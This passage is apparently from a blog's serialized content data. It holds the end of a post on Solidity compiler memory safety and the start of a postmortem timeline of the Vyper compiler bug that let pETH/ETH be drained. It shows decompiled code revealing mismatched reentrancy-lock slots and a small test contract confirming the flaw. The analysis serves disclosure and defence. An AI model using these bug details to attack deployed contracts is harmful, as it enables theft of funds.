}\n",[33630],{"type":22,"tag":30,"props":33631,"children":33632},{"__ignoreMap":7},[33633,33641,33649,33656,33692,33699,33707,33715,33723,33731,33739,33752,33765,33773],{"type":22,"tag":101,"props":33634,"children":33635},{"class":103,"line":104},[33636],{"type":22,"tag":101,"props":33637,"children":33638},{"style":2215},[33639],{"type":27,"value":33640},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":22,"tag":101,"props":33642,"children":33643},{"class":103,"line":157},[33644],{"type":22,"tag":101,"props":33645,"children":33646},{"style":2215},[33647],{"type":27,"value":33648},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":22,"tag":101,"props":33650,"children":33651},{"class":103,"line":182},[33652],{"type":22,"tag":101,"props":33653,"children":33654},{"emptyLinePlaceholder":15},[33655],{"type":27,"value":1581},{"type":22,"tag":101,"props":33657,"children":33658},{"class":103,"line":367},[33659,33664,33669,33674,33678,33683,33688],{"type":22,"tag":101,"props":33660,"children":33661},{"style":114},[33662],{"type":27,"value":33663},"string",{"type":22,"tag":101,"props":33665,"children":33666},{"style":120},[33667],{"type":27,"value":33668}," IRGenerator::",{"type":22,"tag":101,"props":33670,"children":33671},{"style":926},[33672],{"type":27,"value":33673},"memoryInit",{"type":22,"tag":101,"props":33675,"children":33676},{"style":120},[33677],{"type":27,"value":980},{"type":22,"tag":101,"props":33679,"children":33680},{"style":108},[33681],{"type":27,"value":33682},"bool",{"type":22,"tag":101,"props":33684,"children":33685},{"style":126},[33686],{"type":27,"value":33687}," _useMemoryGuard",{"type":22,"tag":101,"props":33689,"children":33690},{"style":120},[33691],{"type":27,"value":2510},{"type":22,"tag":101,"props":33693,"children":33694},{"class":103,"line":398},[33695],{"type":22,"tag":101,"props":33696,"children":33697},{"style":120},[33698],{"type":27,"value":14886},{"type":22,"tag":101,"props":33700,"children":33701},{"class":103,"line":428},[33702],{"type":22,"tag":101,"props":33703,"children":33704},{"style":2215},[33705],{"type":27,"value":33706}," // This function should be called at the beginning of the EVM call frame\n",{"type":22,"tag":101,"props":33708,"children":33709},{"class":103,"line":997},[33710],{"type":22,"tag":101,"props":33711,"children":33712},{"style":2215},[33713],{"type":27,"value":33714}," // and thus can assume all memory to be zero, including the contents of\n",{"type":22,"tag":101,"props":33716,"children":33717},{"class":103,"line":1032},[33718],{"type":22,"tag":101,"props":33719,"children":33720},{"style":2215},[33721],{"type":27,"value":33722}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":22,"tag":101,"props":33724,"children":33725},{"class":103,"line":1063},[33726],{"type":22,"tag":101,"props":33727,"children":33728},{"style":3595},[33729],{"type":27,"value":33730}," return\n",{"type":22,"tag":101,"props":33732,"children":33733},{"class":103,"line":1071},[33734],{"type":22,"tag":101,"props":33735,"children":33736},{"style":120},[33737],{"type":27,"value":33738}," Whiskers{\n",{"type":22,"tag":101,"props":33740,"children":33741},{"class":103,"line":1110},[33742,33747],{"type":22,"tag":101,"props":33743,"children":33744},{"style":120},[33745],{"type":27,"value":33746}," _useMemoryGuard ",{"type":22,"tag":101,"props":33748,"children":33749},{"style":166},[33750],{"type":27,"value":33751},"?\n",{"type":22,"tag":101,"props":33753,"children":33754},{"class":103,"line":1118},[33755,33760],{"type":22,"tag":101,"props":33756,"children":33757},{"style":6476},[33758],{"type":27,"value":33759}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":22,"tag":101,"props":33761,"children":33762},{"style":166},[33763],{"type":27,"value":33764}," :\n",{"type":22,"tag":101,"props":33766,"children":33767},{"class":103,"line":1158},[33768],{"type":22,"tag":101,"props":33769,"children":33770},{"style":6476},[33771],{"type":27,"value":33772}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":22,"tag":101,"props":33774,"children":33775},{"class":103,"line":1166},[33776],{"type":22,"tag":101,"props":33777,"children":33778},{"style":120},[33779],{"type":27,"value":9908},{"type":22,"tag":23,"props":33781,"children":33782},{},[33783,33788,33790,33796],{"type":22,"tag":30,"props":33784,"children":33786},{"className":33785},[],[33787],{"type":27,"value":33378},{"type":27,"value":33789}," will now no longer have ",{"type":22,"tag":30,"props":33791,"children":33793},{"className":33792},[],[33794],{"type":27,"value":33795},"memoryguard(0x80)",{"type":27,"value":33797}," as expected.",{"type":22,"tag":91,"props":33799,"children":33801},{"className":8520,"code":33800,"language":8519,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[33802],{"type":22,"tag":30,"props":33803,"children":33804},{"__ignoreMap":7},[33805,33820],{"type":22,"tag":101,"props":33806,"children":33807},{"class":103,"line":104},[33808,33812,33816],{"type":22,"tag":101,"props":33809,"children":33810},{"style":2215},[33811],{"type":27,"value":33395},{"type":22,"tag":101,"props":33813,"children":33814},{"style":108},[33815],{"type":27,"value":33400},{"type":22,"tag":101,"props":33817,"children":33818},{"style":2215},[33819],{"type":27,"value":33405},{"type":22,"tag":101,"props":33821,"children":33822},{"class":103,"line":157},[33823,33828,33832,33836,33840,33845],{"type":22,"tag":101,"props":33824,"children":33825},{"style":926},[33826],{"type":27,"value":33827}," mstore",{"type":22,"tag":101,"props":33829,"children":33830},{"style":120},[33831],{"type":27,"value":980},{"type":22,"tag":101,"props":33833,"children":33834},{"style":1544},[33835],{"type":27,"value":33421},{"type":22,"tag":101,"props":33837,"children":33838},{"style":120},[33839],{"type":27,"value":758},{"type":22,"tag":101,"props":33841,"children":33842},{"style":1544},[33843],{"type":27,"value":33844},"128",{"type":22,"tag":101,"props":33846,"children":33847},{"style":120},[33848],{"type":27,"value":2510},{"type":22,"tag":23,"props":33850,"children":33851},{},[33852,33854,33859,33861,33866],{"type":27,"value":33853},"Semantically, the absence of ",{"type":22,"tag":30,"props":33855,"children":33857},{"className":33856},[],[33858],{"type":27,"value":33370},{"type":27,"value":33860}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":22,"tag":30,"props":33862,"children":33864},{"className":33863},[],[33865],{"type":27,"value":33370},{"type":27,"value":33867}," invariant.",{"type":22,"tag":604,"props":33869,"children":33870},{},[33871],{"type":22,"tag":23,"props":33872,"children":33873},{},[33874,33875,33880,33881,33886,33887,33892],{"type":27,"value":33463},{"type":22,"tag":30,"props":33876,"children":33878},{"className":33877},[],[33879],{"type":27,"value":33469},{"type":27,"value":33471},{"type":22,"tag":30,"props":33882,"children":33884},{"className":33883},[],[33885],{"type":27,"value":33477},{"type":27,"value":33479},{"type":22,"tag":30,"props":33888,"children":33890},{"className":33889},[],[33891],{"type":27,"value":17951},{"type":27,"value":231},{"type":22,"tag":23,"props":33894,"children":33895},{},[33896],{"type":27,"value":33897},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":22,"tag":53,"props":33899,"children":33901},{"id":33900},"undefined-behavior",[33902],{"type":27,"value":33903},"Undefined Behavior",{"type":22,"tag":23,"props":33905,"children":33906},{},[33907,33909,33914,33916,33921,33923,33929],{"type":27,"value":33908},"How strict is memory safety? When it comes to ",{"type":22,"tag":30,"props":33910,"children":33912},{"className":33911},[],[33913],{"type":27,"value":33370},{"type":27,"value":33915},", only touching memory after 0x80 seems to matter. Is ",{"type":22,"tag":30,"props":33917,"children":33919},{"className":33918},[],[33920],{"type":27,"value":33028},{"type":27,"value":33922}," annotated assembly that touches memory at ",{"type":22,"tag":30,"props":33924,"children":33926},{"className":33925},[],[33927],{"type":27,"value":33928},"[0x40, 0x7f]",{"type":27,"value":33930}," really safe?",{"type":22,"tag":23,"props":33932,"children":33933},{},[33934,33935,33942,33944,33949],{"type":27,"value":2007},{"type":22,"tag":80,"props":33936,"children":33939},{"href":33937,"rel":33938},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[84],[33940],{"type":27,"value":33941},"Solidity documentation",{"type":27,"value":33943}," mentions ",{"type":22,"tag":6961,"props":33945,"children":33946},{},[33947],{"type":27,"value":33948},"undefined behavior",{"type":27,"value":33950}," three times.",{"type":22,"tag":6828,"props":33952,"children":33953},{},[33954,33959,33974],{"type":22,"tag":6832,"props":33955,"children":33956},{},[33957],{"type":27,"value":33958},"The existence of a dangling reference",{"type":22,"tag":6832,"props":33960,"children":33961},{},[33962,33964],{"type":27,"value":33963},"Using verbatim improperly",{"type":22,"tag":6802,"props":33965,"children":33966},{},[33967],{"type":22,"tag":80,"props":33968,"children":33972},{"href":33969,"ariaDescribedBy":33970,"dataFootnoteRef":7,"id":33971},"#user-content-fn-2",[6809],"user-content-fnref-2",[33973],{"type":27,"value":7164},{"type":22,"tag":6832,"props":33975,"children":33976},{},[33977],{"type":27,"value":33978},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":22,"tag":23,"props":33980,"children":33981},{},[33982],{"type":27,"value":33983},"Why does this matter?",{"type":22,"tag":23,"props":33985,"children":33986},{},[33987,33989,33996,33998,34005],{"type":27,"value":33988},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":22,"tag":80,"props":33990,"children":33993},{"href":33991,"rel":33992},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[84],[33994],{"type":27,"value":33995},"signed integer overflow is undefined",{"type":27,"value":33997},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":22,"tag":80,"props":33999,"children":34002},{"href":34000,"rel":34001},"https://blog.regehr.org/archives/1307",[84],[34003],{"type":27,"value":34004},"years down the line",{"type":27,"value":231},{"type":22,"tag":23,"props":34007,"children":34008},{},[34009,34011,34018,34019,34024],{"type":27,"value":34010},"Going back to Solidity, the specification makes ",{"type":22,"tag":80,"props":34012,"children":34015},{"href":34013,"rel":34014},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[84],[34016],{"type":27,"value":34017},"it unambiguously clear",{"type":27,"value":3415},{"type":22,"tag":6961,"props":34020,"children":34021},{},[34022],{"type":27,"value":34023},"Thou shalt not modify the zero slot",{"type":27,"value":231},{"type":22,"tag":604,"props":34026,"children":34027},{},[34028],{"type":22,"tag":23,"props":34029,"children":34030},{},[34031],{"type":27,"value":34032},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":22,"tag":23,"props":34034,"children":34035},{},[34036,34038,34043],{"type":27,"value":34037},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":22,"tag":6961,"props":34039,"children":34040},{},[34041],{"type":27,"value":34042},"in Solidity",{"type":27,"value":231},{"type":22,"tag":23,"props":34045,"children":34046},{},[34047],{"type":27,"value":34048},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":22,"tag":6828,"props":34050,"children":34051},{},[34052],{"type":22,"tag":6832,"props":34053,"children":34054},{},[34055,34057,34064],{"type":27,"value":34056},"It very clearly ",{"type":22,"tag":80,"props":34058,"children":34061},{"href":34059,"rel":34060},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[84],[34062],{"type":27,"value":34063},"holds true today",{"type":27,"value":231},{"type":22,"tag":91,"props":34066,"children":34068},{"className":33109,"code":34067,"language":33111,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[34069],{"type":22,"tag":30,"props":34070,"children":34071},{"__ignoreMap":7},[34072,34112,34119,34132,34204,34225,34276,34283],{"type":22,"tag":101,"props":34073,"children":34074},{"class":103,"line":104},[34075,34079,34084,34089,34093,34098,34103,34108],{"type":22,"tag":101,"props":34076,"children":34077},{"style":108},[34078],{"type":27,"value":33682},{"type":22,"tag":101,"props":34080,"children":34081},{"style":120},[34082],{"type":27,"value":34083}," IRGeneratorForStatements::",{"type":22,"tag":101,"props":34085,"children":34086},{"style":926},[34087],{"type":27,"value":34088},"visit",{"type":22,"tag":101,"props":34090,"children":34091},{"style":120},[34092],{"type":27,"value":980},{"type":22,"tag":101,"props":34094,"children":34095},{"style":114},[34096],{"type":27,"value":34097},"InlineAssembly",{"type":22,"tag":101,"props":34099,"children":34100},{"style":108},[34101],{"type":27,"value":34102}," const&",{"type":22,"tag":101,"props":34104,"children":34105},{"style":126},[34106],{"type":27,"value":34107}," _inlineAsm",{"type":22,"tag":101,"props":34109,"children":34110},{"style":120},[34111],{"type":27,"value":2510},{"type":22,"tag":101,"props":34113,"children":34114},{"class":103,"line":157},[34115],{"type":22,"tag":101,"props":34116,"children":34117},{"style":120},[34118],{"type":27,"value":14886},{"type":22,"tag":101,"props":34120,"children":34121},{"class":103,"line":182},[34122,34127],{"type":22,"tag":101,"props":34123,"children":34124},{"style":926},[34125],{"type":27,"value":34126}," setLocation",{"type":22,"tag":101,"props":34128,"children":34129},{"style":120},[34130],{"type":27,"value":34131},"(_inlineAsm);\n",{"type":22,"tag":101,"props":34133,"children":34134},{"class":103,"line":367},[34135,34139,34143,34147,34152,34156,34161,34166,34171,34175,34179,34183,34187,34191,34195,34200],{"type":22,"tag":101,"props":34136,"children":34137},{"style":3595},[34138],{"type":27,"value":16283},{"type":22,"tag":101,"props":34140,"children":34141},{"style":120},[34142],{"type":27,"value":3603},{"type":22,"tag":101,"props":34144,"children":34145},{"style":166},[34146],{"type":27,"value":8615},{"type":22,"tag":101,"props":34148,"children":34149},{"style":126},[34150],{"type":27,"value":34151},"_inlineAsm",{"type":22,"tag":101,"props":34153,"children":34154},{"style":120},[34155],{"type":27,"value":231},{"type":22,"tag":101,"props":34157,"children":34158},{"style":926},[34159],{"type":27,"value":34160},"annotation",{"type":22,"tag":101,"props":34162,"children":34163},{"style":120},[34164],{"type":27,"value":34165},"().",{"type":22,"tag":101,"props":34167,"children":34168},{"style":126},[34169],{"type":27,"value":34170},"hasMemoryEffects",{"type":22,"tag":101,"props":34172,"children":34173},{"style":166},[34174],{"type":27,"value":18187},{"type":22,"tag":101,"props":34176,"children":34177},{"style":166},[34178],{"type":27,"value":16868},{"type":22,"tag":101,"props":34180,"children":34181},{"style":126},[34182],{"type":27,"value":34151},{"type":22,"tag":101,"props":34184,"children":34185},{"style":120},[34186],{"type":27,"value":231},{"type":22,"tag":101,"props":34188,"children":34189},{"style":926},[34190],{"type":27,"value":34160},{"type":22,"tag":101,"props":34192,"children":34193},{"style":120},[34194],{"type":27,"value":34165},{"type":22,"tag":101,"props":34196,"children":34197},{"style":126},[34198],{"type":27,"value":34199},"markedMemorySafe",{"type":22,"tag":101,"props":34201,"children":34202},{"style":120},[34203],{"type":27,"value":2510},{"type":22,"tag":101,"props":34205,"children":34206},{"class":103,"line":398},[34207,34212,34216,34221],{"type":22,"tag":101,"props":34208,"children":34209},{"style":126},[34210],{"type":27,"value":34211}," m_context",{"type":22,"tag":101,"props":34213,"children":34214},{"style":120},[34215],{"type":27,"value":231},{"type":22,"tag":101,"props":34217,"children":34218},{"style":926},[34219],{"type":27,"value":34220},"setMemoryUnsafeInlineAssemblySeen",{"type":22,"tag":101,"props":34222,"children":34223},{"style":120},[34224],{"type":27,"value":934},{"type":22,"tag":101,"props":34226,"children":34227},{"class":103,"line":428},[34228,34233,34237,34241,34246,34251,34255,34259,34263,34267,34272],{"type":22,"tag":101,"props":34229,"children":34230},{"style":120},[34231],{"type":27,"value":34232}," CopyTranslate bodyCopier{",{"type":22,"tag":101,"props":34234,"children":34235},{"style":126},[34236],{"type":27,"value":34151},{"type":22,"tag":101,"props":34238,"children":34239},{"style":120},[34240],{"type":27,"value":231},{"type":22,"tag":101,"props":34242,"children":34243},{"style":926},[34244],{"type":27,"value":34245},"dialect",{"type":22,"tag":101,"props":34247,"children":34248},{"style":120},[34249],{"type":27,"value":34250},"(), m_context, ",{"type":22,"tag":101,"props":34252,"children":34253},{"style":126},[34254],{"type":27,"value":34151},{"type":22,"tag":101,"props":34256,"children":34257},{"style":120},[34258],{"type":27,"value":231},{"type":22,"tag":101,"props":34260,"children":34261},{"style":926},[34262],{"type":27,"value":34160},{"type":22,"tag":101,"props":34264,"children":34265},{"style":120},[34266],{"type":27,"value":34165},{"type":22,"tag":101,"props":34268,"children":34269},{"style":126},[34270],{"type":27,"value":34271},"externalReferences",{"type":22,"tag":101,"props":34273,"children":34274},{"style":120},[34275],{"type":27,"value":20576},{"type":22,"tag":101,"props":34277,"children":34278},{"class":103,"line":997},[34279],{"type":22,"tag":101,"props":34280,"children":34281},{"emptyLinePlaceholder":15},[34282],{"type":27,"value":1581},{"type":22,"tag":101,"props":34284,"children":34285},{"class":103,"line":1032},[34286,34291,34295,34300,34304,34308,34312,34317],{"type":22,"tag":101,"props":34287,"children":34288},{"style":120},[34289],{"type":27,"value":34290}," yul::Statement modified ",{"type":22,"tag":101,"props":34292,"children":34293},{"style":166},[34294],{"type":27,"value":1511},{"type":22,"tag":101,"props":34296,"children":34297},{"style":926},[34298],{"type":27,"value":34299}," bodyCopier",{"type":22,"tag":101,"props":34301,"children":34302},{"style":120},[34303],{"type":27,"value":980},{"type":22,"tag":101,"props":34305,"children":34306},{"style":126},[34307],{"type":27,"value":34151},{"type":22,"tag":101,"props":34309,"children":34310},{"style":120},[34311],{"type":27,"value":231},{"type":22,"tag":101,"props":34313,"children":34314},{"style":926},[34315],{"type":27,"value":34316},"operations",{"type":22,"tag":101,"props":34318,"children":34319},{"style":120},[34320],{"type":27,"value":34321},"());`\n",{"type":22,"tag":6828,"props":34323,"children":34324},{"start":157},[34325],{"type":22,"tag":6832,"props":34326,"children":34327},{},[34328],{"type":27,"value":34329},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":22,"tag":23,"props":34331,"children":34332},{},[34333],{"type":27,"value":34334},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":22,"tag":53,"props":34336,"children":34337},{"id":9355},[34338],{"type":27,"value":9358},{"type":22,"tag":23,"props":34340,"children":34341},{},[34342],{"type":27,"value":34343},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":22,"tag":23,"props":34345,"children":34346},{},[34347],{"type":27,"value":34348},"It's a promise between YUL generation and optimization.",{"type":22,"tag":6815,"props":34350,"children":34352},{"className":34351,"dataFootnotes":7},[6818],[34353,34358],{"type":22,"tag":53,"props":34354,"children":34356},{"className":34355,"id":6809},[6823],[34357],{"type":27,"value":6826},{"type":22,"tag":6828,"props":34359,"children":34360},{},[34361,34393],{"type":22,"tag":6832,"props":34362,"children":34363},{"id":6834},[34364,34366,34371,34373,34379,34381,34386,34388],{"type":27,"value":34365},"As an interesting aside, ",{"type":22,"tag":30,"props":34367,"children":34369},{"className":34368},[],[34370],{"type":27,"value":33370},{"type":27,"value":34372}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":22,"tag":30,"props":34374,"children":34376},{"className":34375},[],[34377],{"type":27,"value":34378},"memory-unsafe",{"type":27,"value":34380}," code can ",{"type":22,"tag":6961,"props":34382,"children":34383},{},[34384],{"type":27,"value":34385},"decrease",{"type":27,"value":34387}," gas consumption, especially in the YUL header. ",{"type":22,"tag":80,"props":34389,"children":34391},{"href":6883,"ariaLabel":6884,"className":34390,"dataFootnoteBackref":7},[6886],[34392],{"type":27,"value":6889},{"type":22,"tag":6832,"props":34394,"children":34396},{"id":34395},"user-content-fn-2",[34397,34399,34404,34406],{"type":27,"value":34398},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":22,"tag":6961,"props":34400,"children":34401},{},[34402],{"type":27,"value":34403},"guarantee",{"type":27,"value":34405}," behavior with opaque bytes. ",{"type":22,"tag":80,"props":34407,"children":34410},{"href":34408,"ariaLabel":22546,"className":34409,"dataFootnoteBackref":7},"#user-content-fnref-2",[6886],[34411],{"type":27,"value":6889},{"type":22,"tag":6891,"props":34413,"children":34414},{},[34415],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":34417},[34418,34419,34420,34421,34422,34423,34424],{"id":33014,"depth":157,"text":33017},{"id":33068,"depth":157,"text":33071},{"id":33332,"depth":157,"text":33335},{"id":33063,"depth":157,"text":33555},{"id":33900,"depth":157,"text":33903},{"id":9355,"depth":157,"text":9358},{"id":6809,"depth":157,"text":6826},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":34429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":34430,"description":34431,"author":9763,"image":34432,"date":34434,"isFeatured":15,"onBlogPage":15,"tags":34435,"body":34437,"_type":6912,"_id":35188,"_source":6914,"_file":35189,"_stem":35190,"_extension":6917},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":34433,"height":17626,"width":17626},"/posts/vyper-timeline/header.jpg","2023-08-01",[34436,33009],"vyper",{"type":19,"children":34438,"toc":35179},[34439,34444,34449,34454,34460,34465,34483,34493,34498,34506,34516,34535,34615,34625,34785,34790,34795,34805,34812,34817,34822,34836,34841,34858,34875,34894,34904,34917,34922,34935,34940,34945,34955,34982,34992,35022,35028,35037,35043,35048,35053,35058,35064,35069,35083,35088,35093,35098,35104,35109,35122,35148,35153,35175],{"type":22,"tag":23,"props":34440,"children":34441},{},[34442],{"type":27,"value":34443},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":22,"tag":23,"props":34445,"children":34446},{},[34447],{"type":27,"value":34448},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":22,"tag":23,"props":34450,"children":34451},{},[34452],{"type":27,"value":34453},"Here's how it all happened.",{"type":22,"tag":53,"props":34455,"children":34457},{"id":34456},"timeline",[34458],{"type":27,"value":34459},"Timeline",{"type":22,"tag":23,"props":34461,"children":34462},{},[34463],{"type":27,"value":34464},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":22,"tag":23,"props":34466,"children":34467},{},[34468,34473,34475,34482],{"type":22,"tag":9370,"props":34469,"children":34470},{},[34471],{"type":27,"value":34472},"13:10 UTC",{"type":27,"value":34474}," pETH/ETH was ",{"type":22,"tag":80,"props":34476,"children":34479},{"href":34477,"rel":34478},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[84],[34480],{"type":27,"value":34481},"drained of $11M",{"type":27,"value":231},{"type":22,"tag":23,"props":34484,"children":34485},{},[34486,34491],{"type":22,"tag":9370,"props":34487,"children":34488},{},[34489],{"type":27,"value":34490},"13:19 UTC",{"type":27,"value":34492}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":22,"tag":23,"props":34494,"children":34495},{},[34496],{"type":27,"value":34497},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":22,"tag":604,"props":34499,"children":34500},{},[34501],{"type":22,"tag":23,"props":34502,"children":34503},{},[34504],{"type":27,"value":34505},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":22,"tag":23,"props":34507,"children":34508},{},[34509,34514],{"type":22,"tag":9370,"props":34510,"children":34511},{},[34512],{"type":27,"value":34513},"14:01 UTC",{"type":27,"value":34515}," A warroom was formed around this comment.",{"type":22,"tag":23,"props":34517,"children":34518},{},[34519,34524,34526,34533],{"type":22,"tag":9370,"props":34520,"children":34521},{},[34522],{"type":27,"value":34523},"14:07 UTC",{"type":27,"value":34525}," We decompiled the JPEGd contract ",{"type":22,"tag":80,"props":34527,"children":34530},{"href":34528,"rel":34529},"https://ethervm.io/decompile",[84],[34531],{"type":27,"value":34532},"with our favorite decompiler",{"type":27,"value":34534}," and noted a difference in reentrancy guard storage slot.",{"type":22,"tag":91,"props":34536,"children":34540},{"className":34537,"code":34538,"language":34539,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[34541],{"type":22,"tag":30,"props":34542,"children":34543},{"__ignoreMap":7},[34544,34552,34560,34568,34576,34583,34591,34599,34607],{"type":22,"tag":101,"props":34545,"children":34546},{"class":103,"line":104},[34547],{"type":22,"tag":101,"props":34548,"children":34549},{},[34550],{"type":27,"value":34551},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":22,"tag":101,"props":34553,"children":34554},{"class":103,"line":157},[34555],{"type":22,"tag":101,"props":34556,"children":34557},{},[34558],{"type":27,"value":34559},"label_0057:\n",{"type":22,"tag":101,"props":34561,"children":34562},{"class":103,"line":182},[34563],{"type":22,"tag":101,"props":34564,"children":34565},{},[34566],{"type":27,"value":34567}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":22,"tag":101,"props":34569,"children":34570},{"class":103,"line":367},[34571],{"type":22,"tag":101,"props":34572,"children":34573},{},[34574],{"type":27,"value":34575}," storage[0x00] = 0x01;\n",{"type":22,"tag":101,"props":34577,"children":34578},{"class":103,"line":398},[34579],{"type":22,"tag":101,"props":34580,"children":34581},{"emptyLinePlaceholder":15},[34582],{"type":27,"value":1581},{"type":22,"tag":101,"props":34584,"children":34585},{"class":103,"line":428},[34586],{"type":22,"tag":101,"props":34587,"children":34588},{},[34589],{"type":27,"value":34590},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":22,"tag":101,"props":34592,"children":34593},{"class":103,"line":997},[34594],{"type":22,"tag":101,"props":34595,"children":34596},{},[34597],{"type":27,"value":34598},"label_1AF3:\n",{"type":22,"tag":101,"props":34600,"children":34601},{"class":103,"line":1032},[34602],{"type":22,"tag":101,"props":34603,"children":34604},{},[34605],{"type":27,"value":34606}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":22,"tag":101,"props":34608,"children":34609},{"class":103,"line":1063},[34610],{"type":22,"tag":101,"props":34611,"children":34612},{},[34613],{"type":27,"value":34614}," storage[0x02] = 0x01;\n",{"type":22,"tag":23,"props":34616,"children":34617},{},[34618,34623],{"type":22,"tag":9370,"props":34619,"children":34620},{},[34621],{"type":27,"value":34622},"14:27 UTC",{"type":27,"value":34624}," We confirmed this behavior with a simple local test contract.",{"type":22,"tag":91,"props":34626,"children":34628},{"className":23452,"code":34627,"language":23451,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[34629],{"type":22,"tag":30,"props":34630,"children":34631},{"__ignoreMap":7},[34632,34640,34661,34696,34708,34715,34722,34741,34773],{"type":22,"tag":101,"props":34633,"children":34634},{"class":103,"line":104},[34635],{"type":22,"tag":101,"props":34636,"children":34637},{"style":926},[34638],{"type":27,"value":34639},"@external\n",{"type":22,"tag":101,"props":34641,"children":34642},{"class":103,"line":157},[34643,34648,34652,34657],{"type":22,"tag":101,"props":34644,"children":34645},{"style":926},[34646],{"type":27,"value":34647},"@nonreentrant",{"type":22,"tag":101,"props":34649,"children":34650},{"style":120},[34651],{"type":27,"value":980},{"type":22,"tag":101,"props":34653,"children":34654},{"style":6476},[34655],{"type":27,"value":34656},"\"lock\"",{"type":22,"tag":101,"props":34658,"children":34659},{"style":120},[34660],{"type":27,"value":2510},{"type":22,"tag":101,"props":34662,"children":34663},{"class":103,"line":182},[34664,34669,34674,34678,34683,34688,34692],{"type":22,"tag":101,"props":34665,"children":34666},{"style":108},[34667],{"type":27,"value":34668},"def",{"type":22,"tag":101,"props":34670,"children":34671},{"style":926},[34672],{"type":27,"value":34673}," test",{"type":22,"tag":101,"props":34675,"children":34676},{"style":120},[34677],{"type":27,"value":980},{"type":22,"tag":101,"props":34679,"children":34680},{"style":126},[34681],{"type":27,"value":34682},"addr",{"type":22,"tag":101,"props":34684,"children":34685},{"style":120},[34686],{"type":27,"value":34687},": address) -> ",{"type":22,"tag":101,"props":34689,"children":34690},{"style":114},[34691],{"type":27,"value":33682},{"type":22,"tag":101,"props":34693,"children":34694},{"style":120},[34695],{"type":27,"value":9611},{"type":22,"tag":101,"props":34697,"children":34698},{"class":103,"line":367},[34699,34703],{"type":22,"tag":101,"props":34700,"children":34701},{"style":3595},[34702],{"type":27,"value":20986},{"type":22,"tag":101,"props":34704,"children":34705},{"style":108},[34706],{"type":27,"value":34707}," 